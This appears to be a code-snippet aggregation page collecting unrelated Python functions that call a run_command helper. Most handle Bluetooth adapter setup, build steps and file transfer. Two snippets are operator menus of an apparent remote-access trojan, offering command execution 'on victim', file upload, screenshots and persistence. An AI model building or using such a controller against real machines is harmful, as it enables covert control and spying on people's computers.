Esempio n. 1
0
def handleConnection(my_socket):
    print ("[+] Handling connection")

    while True:
       show_options()
       user_input = input ("[+] Select your options: ")

       my_socket.send_data(user_input)

       if user_input == "1":
           print("[+] Running the system commands on victim")
           run_command(my_socket)

       
       elif user_input == "99":
           break

       elif user_input == "2":
           #UPLOAD FILES
           print("[+] Upload files") 
           upload_files(my_socket)

       elif user_input == "3":
           #CHANGE DIRECTORY
           my_socket.change_dir()

       elif user_input == "4":
           #Take SS
           capture_screenshot(my_socket)
        
       elif user_input == "5":
           become_persistent(my_socket)

       else:
            print("[+] Invalid input")
Esempio n. 2
0
def control_execute_command(set_variables, command):
    """
    Execute command

    @param set_variables: dictionary of variables
    @param command: user's command
    """
    if command.startswith('(') and command.endswith(')'):
        command = ("python3 " + dirname(abspath(__file__)) + "/intek-sh.py " +
                   command[1:-1] + " && exit $?")
        run_command(command.split(), set_variables)
    elif command not in ['&&', '||']:
        run_command(command.split(), set_variables)
Esempio n. 3
0
def adapter_name(inter="hci0", name=None):
    """

    :param inter:
    :param name:
    :return:
    """

    if name is not None:  # Set the adaptername
        s = run_command(f"hciconfig {inter} name {name}")
        print(s)
    else:  # Get the adapter name.
        s = run_command(f"hciconfig {inter} name")
        return re.compile(r"Name: \'(.*)\'").findall(str(s))[0]
Esempio n. 4
0
def handleconn(mysocket):
    print("+ handling connections")

    while(True):

        showopytions()
        user_input=input("+ select your options ")
        mysocket.send_data(user_input)
        if user_input=="99":
            break
        elif user_input=="1":
            run_command(mysocket)
            #develop function that will run commands
        else:
            print("wrong input")
Esempio n. 5
0
def build_examples(builder):
    build_dir = os.path.join('build', 'examples')
    command.make_dirs(builder, build_dir, echo='')

    example_dir = os.path.join('examples')

    packages = {
            'kqtc00': 'example.kqt.bz2',
            'kqti00': 'example_ins.kqti.bz2',
            'kqte00': 'example_effect.kqte.bz2',
            'kqts00': 'example_scale.kqts.bz2',
        }

    echo_prefix = '\n   Building example files\n\n'
    for src, dest in packages.iteritems():
        dest_path = os.path.join(build_dir, dest)
        echo = echo_prefix + 'Building {}'.format(dest)
        if command.run_command(
                builder,
                'tar',
                'cj', '--format=ustar',
                '-f', dest_path,
                '--directory', example_dir,
                src,
                echo=echo):
            echo_prefix = ''

    # Copy the example instrument to share
    # TODO: remove once we figure out the instrument stuff
    ins_name = 'example_ins.kqti.bz2'
    default_ins_path = os.path.join(build_dir, ins_name)
    share_target = os.path.join('share', 'kunquat', 'instruments', ins_name)
    command.copy(builder, default_ins_path, share_target, echo='')
Esempio n. 6
0
def init_bluetooth(verbose=False) -> bool:
    """Common Bluetooth initialization function.

    :param verbose: If true, show verbose output
    :returns: True if successfull, False if there was a problem.
    """

    if sys.platform == "linux":

        commands = [
            "sudo rfkill unblock all",
            "sudo bluetoothctl power on",
            "sudo bluetoothctl agent NoInputNoOutput",
            "sudo bluetoothctl discoverable yes",
            "sudo bluetoothctl pairable yes",
        ]

        for cmd in commands:
            ret = run_command(cmd)
            if verbose:
                print(f"cmd = {cmd}, ret='{ret}'")
        return True

    else:
        # Not implemented yet for Win32
        pass
        return False
Esempio n. 7
0
 def compile(self, builder, source_path, obj_path, echo=None):
     command.make_dirs(builder, os.path.dirname(obj_path), echo='')
     args = ([self._cmd] +
             ['-c', source_path] +
             ['-o', obj_path] +
             self._compile_flags +
             self._include_flags)
     return command.run_command(builder, *args, echo=echo)
Esempio n. 8
0
 def build_exe(self, builder, source_path, exe_path, echo=None):
     command.make_dirs(builder, os.path.dirname(exe_path), echo='')
     args = ([self._cmd] +
             ['-o', exe_path] +
             [source_path] +
             self._compile_flags +
             self._include_flags +
             self._link_dirs +
             self._link_flags)
     return command.run_command(builder, *args, echo=echo)
Esempio n. 9
0
 def link_lib(self, builder, obj_paths, so_path, version_major, echo=None):
     command.make_dirs(builder, os.path.dirname(so_path), echo='')
     lib_name = os.path.basename(so_path)
     soname_flag = '-Wl,-soname,{}.{}'.format(lib_name, version_major)
     args = ([self._cmd] +
             ['-o', so_path] +
             obj_paths +
             self._link_dirs +
             self._link_flags +
             ['-shared', soname_flag])
     return command.run_command(builder, *args, echo=echo)
Esempio n. 10
0
 def timer_user_get(self, number):
     for x in range(len(self.cfg.timersList)):
         if (self.cfg.timersList[(x, )][0] == number):
             row = (x, )
             break
     start = self.cfg.timersList[row][2]
     time = datetime.datetime.now()
     if (start == time.strftime("%H:%M:%S")):
         number = self.cfg.timersList[row][0]
         action = self.cfg.timersList[row][1]
         command = self.cfg.timersList[row][3]
         user_list = self.cfg.timersList[row][5]
         run_command(self.cfg, user_list, command, action)
         self.cfg.status(
             _("Timer") + " №" + number + " " + _("completed") + " - " +
             action)
         self.cfg.timersList[row][6] = 0
         # завершить таймер
         return False
     return True
Esempio n. 11
0
def main():

    # Determine if we are working online (on the Raspberry Pi) or offline on Windows
    online = False
    if sys.platform == "linux":
        online = True

    if online:
        timeout = 30
        print(f"BTLE Scanning for {timeout} seconds...")

        _ret = run_command("sudo hciconfig hci0 down")
        _ret = run_command("sudo hciconfig hci0 up")
        data = run_command("hcitool -i hci0 lescan", timeout=timeout)
    else:
        print("In offline mode, process sample_output")
        data = sample_output

    bt_known, bt_unknown = process_le_scan(data)
    print_btle_scan_results(bt_known, bt_unknown)
def get_live_devices(verbose=False):
    """Get the devices, found during a live scan

    :param verbose: If True, print the scan results here
    :return: string with scan results. See [sample_output]
    """

    devices_str = run_command("bluetoothctl devices")
    if verbose:
        print(devices_str)
    return devices_str
Esempio n. 13
0
def main():
    file_list = get_input()['file_list']
    src_ip = get_input()['src_add']
    dst_ip = get_input()['dst_add']
    comm_ss = ['ss', '-t', '-i', 'state', 'ESTABLISHED', 'dst', dst_ip, 'src', src_ip]
    # comm_ss = ['nstat']
    # comm_ss = ['netstat', '--tcp', '--statistics']
    for i in (file_list):
        filename = str(i)
        comm_scp = ['scp', path+'/files/'+filename, 'bsainju@'+dst_ip+':'+filename]
        list = run_command(comm_scp, comm_ss, filename)
        write_to_file(list, filename)
def live_scan(timeout=5, verbose=False):
    """Perform a live Bluetooth scan

    :param timeout: Scan duration
    :param verbose: If True, print the scan results here
    :return: string with scan results. See [sample_output]
    """

    print(f"Scanning for {timeout} seconds...")

    scan_result = run_command(f"bluetoothctl --timeout {timeout} scan on")
    run_command("bluetoothctl scan off")

    # Show the live scan results
    if scan_result and verbose:
        print("output:")
        print(80 * "-")
        print(scan_result)
        print(80 * "-")

    # Return the live scan results
    return scan_result
Esempio n. 15
0
def inquire(addr):
    """Inquire the sdptool records and process them.

    :param addr: Address to require. Can be "local"

    See https://www.programcreek.com/python/?project_name=conorpp%2Fbtproxy#
    """

    records = run_command(f"sdptool records {addr}")
    print(repr(records))
    services = parse_inq(records, addr)
    print()
    for service in services:
        print(service)
Esempio n. 16
0
def is_serial_service_running(verbose=False) -> bool:
    """Check if serial port service is already running on the given port/channel

    :param verbose: Show verbose results
    :return: True if the service was running, False if not
    """

    ret = run_command("sudo sdptool browse local")
    if "Service Name: Serial Port" in ret:
        if verbose:
            print(f"Serial port service is already running")
        return True
    else:
        if verbose:
            print(f"Serial port service is not running")
        return False
Esempio n. 17
0
def add_serial_port(port=1, verbose=False) -> bool:
    """Add Bluetooth serial port service on given port.

    :param port: port/channel to add
    :param verbose: If true, show verbose results
    :returns: True if service was added, False if not (was already running)
    """

    if not is_serial_service_running():
        if verbose:
            print(f"Adding serial port service on channel {port}")
        ret = run_command(f"sudo sdptool add --channel {port} SP")
        if verbose:
            print(ret)
        return True
    else:
        if verbose:
            print(f"Serial port service is already running on channel {port}")
        return False
def main():

    # Determine if we are working online (on the Raspberry Pi) or offline on Windows
    online = False
    if sys.platform == "linux":
        online = True

    dbase_path = "./dbase/dbase.sql"
    db = DeviceDatabase(dbase_path)

    if online:
        live_scan(timeout=30)
        data = get_live_devices()
    else:
        print("No live capture was peformed, using sample output")
        data = sampleoutput_bluetoothctl_devices

    # Get a list of mac addresses from the ouput
    addresses = get_mac_addresses(data)
    print_header("List of MAC addresses")
    print(addresses)

    print_header("DEVICES")
    devs = process_devices(data)
    for dev in devs.items():
        print(dev)
    print()

    # Get information for each device:
    if online:
        # Get online info for each discovered device
        for addr in devs:
            info = run_command(f"bluetoothctl info {addr}", verbose=True)
            if info:
                process_device_info(info)
    else:
        # Use offline sample info
        for info in sampleoutput_bluetoothctl_info:
            process_device_info(info)
def get_player():
    (i, output, error) = run_command(["nfc-poll"])
    print output
    print error

    if i != 0:
        print "nfc-poll nonzero status"
        return (i, None)

    # Parse the output
    tag_uid = None
    for line in output.split('\n'):
        # print line.strip()[0:13]
        if line.strip()[0:13] == "UID (NFCID1):":
            tag_uid = line.strip()[14:]

    if tag_uid == None:
        print "ERROR"
        return (-1, None)
    # Lookup player from UID on tag
    player_tuple = lookup_player(tag_uid)
    return (i, player_tuple)
Esempio n. 20
0
def run_command(character, text):
    if not command.run_command(character, text):
        log("ERROR", "Command <" + text + "> unsuccessful", problem=True)
Esempio n. 21
0
def enable_adapter_ssp(adapt, cond):
    run_command(["hciconfig", adapt, "sspmode", "1" if cond else "0"])
Esempio n. 22
0
def advertise_adapter(adapt, cond=True):
    run_command(["hciconfig", adapt, "piscan" if cond else "pscan"])
Esempio n. 23
0
def reset_adapter(adapt):
    run_command(["hciconfig", adapt, "reset"])
Esempio n. 24
0
def enable_adapter(adapt, cond=True):
    run_command(["hciconfig", adapt, "up" if cond else "down"])
Esempio n. 25
0
##
# @file: bt_discoverable_on.py
# @brief: Make this device discoverable
"""Make this device discoverable
"""

# global imports
import sys

# local imports
from command import run_command

ret = run_command("bt-adapter --set Discoverable 1")
print(ret)
Esempio n. 26
0
def run_command(character, text):
    if not command.run_command(character, text):
        log("ERROR", "Command <" + text + "> unsuccessful", problem=True)
Esempio n. 27
0
def hciconfig():
    """Run the hciconfig command"""
    s = run_command("hciconfig")
    return s
Esempio n. 28
0
def _write_external_header_test(builder, out_base, header_name):
    script_path = os.path.join('scripts', 'write_external_header_test.py')
    command.run_command(builder, 'python', script_path, out_base, header_name, echo='')